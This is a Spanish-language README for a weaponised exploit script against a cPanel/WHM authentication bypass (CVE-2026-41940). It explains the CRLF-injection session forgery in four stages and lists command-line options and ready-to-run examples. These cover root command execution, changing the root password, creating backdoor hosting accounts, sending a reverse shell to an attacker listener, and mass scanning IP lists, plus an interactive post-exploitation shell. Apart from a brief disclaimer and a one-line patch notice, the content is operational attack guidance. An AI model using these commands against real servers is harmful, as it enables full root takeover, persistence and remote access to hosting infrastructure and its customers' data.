
cPanel/WHM Bypass de Autenticación (Vulnerabilidad de Día Cero)
Aviso legal: Este documento y el script asociado (
exploit.py) se proporcionan estrictamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. No utilice este software contra sistemas que no posea o para los cuales no tenga permiso explícito para probar.
exploit.py es un script que demuestra una vulnerabilidad de omisión de autenticación (CVE-2026-41940) en cPanel y WHM. La vulnerabilidad permite a un atacante no autenticado inyectar una sesión de root en el caché del demonio a través de un fallo de inyección CRLF, lo que finalmente otorga acceso a WHM a nivel de root sin requerir credenciales válidas.
El exploit funciona aprovechando una vulnerabilidad de inyección CRLF (Retorno de Carro y Salto de Línea) dentro del mecanismo de manejo de Autenticación Básica, combinada con un fallo de propagación de sesión. El script automatiza el ataque en cuatro etapas:
/login/ o /cgi/login.cgi) para adquirir una cookie de sesión base no autenticada (whostmgrsession).cpsrvd. La respuesta de redirección del servidor filtra el token de seguridad generado (cpsess).do_token_denied propague la sesión falsificada en el caché del demonio, convirtiéndola en una sesión autenticada válida./json-api/version) usando la sesión falsificada para confirmar el acceso a nivel de root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argumento | Descripción |
|---|---|
--target URL | URL única de WHM (p. ej., https://target:2087) |
--target-file FILE | Archivo con objetivos (un ip:puerto por línea) — activa automáticamente el modo de comprobación |
| Argumento | Descripción |
|---|---|
--threads N | Hilos concurrentes para el modo multi-objetivo (predeterminado: 10) |
--hostname HOST | Anular el encabezado Host — usar cuando la detección automática falla o da un nombre de host incorrecto |
--timeout N | Tiempo de espera por solicitud en segundos (predeterminado: 15) |
--retries N | Número de reintentos en errores de red (predeterminado: 3) |
--cookie-name NAME | Forzar un nombre específico de cookie de sesión (se detecta automáticamente si se omite) |
--no-verify | Saltar la verificación de la Etapa 4 y continuar de todos modos |
| Argumento | Descripción |
|---|---|
--check | Modo solo comprobación — verificar vulnerabilidad sin explotar (se activa automáticamente con --target-file) |
--password PASS | Cambiar la contraseña de root a PASS |
--api FUNC | Llamar a una función específica de la API JSON de WHM |
--api-params K=V,... | Parámetros separados por comas para --api |
--exec CMD | Ejecutar un comando del sistema operativo a través de scripts/run_script de WHM (fallback: rawexec) |
--session | Generar una URL de inicio de sesión de un clic como root — abrir inmediatamente, el token expira rápido |
--shell | Abrir un shell interactivo de WHM (solo objetivo único) |
--dump | Volcar información del servidor: versión, cuentas, zonas DNS, privilegios |
--add-user USER PASS DOMAIN | Crear una nueva cuenta de alojamiento cPanel |
--revshell LHOST LPORT | Enviar una reverse shell bash a su listener |
| Argumento | Descripción |
|---|---|
--output FILE | Guardar el token de sesión y detalles en un archivo JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Cuando se usa --shell, están disponibles los siguientes comandos:
| Comando | Descripción |
|---|---|
api <function> [k=v ...] | Llamar a una función JSON-API de WHM (p. ej., api version) |
exec <command> | Ejecutar un comando del sistema operativo a través de WHM (p. ej., exec id) |
passwd <newpass> | Cambiar la contraseña de root |
dump | Volcar información del servidor |
revshell <lhost> <lport> | Enviar una reverse shell |
add <user> <pass> <domain> | Crear una cuenta de cPanel |
save <path> | Guardar la sesión actual en un archivo |
exit / quit | Salir del shell |
Actualice los parches de seguridad más recientes de cPanel/WHM de inmediato.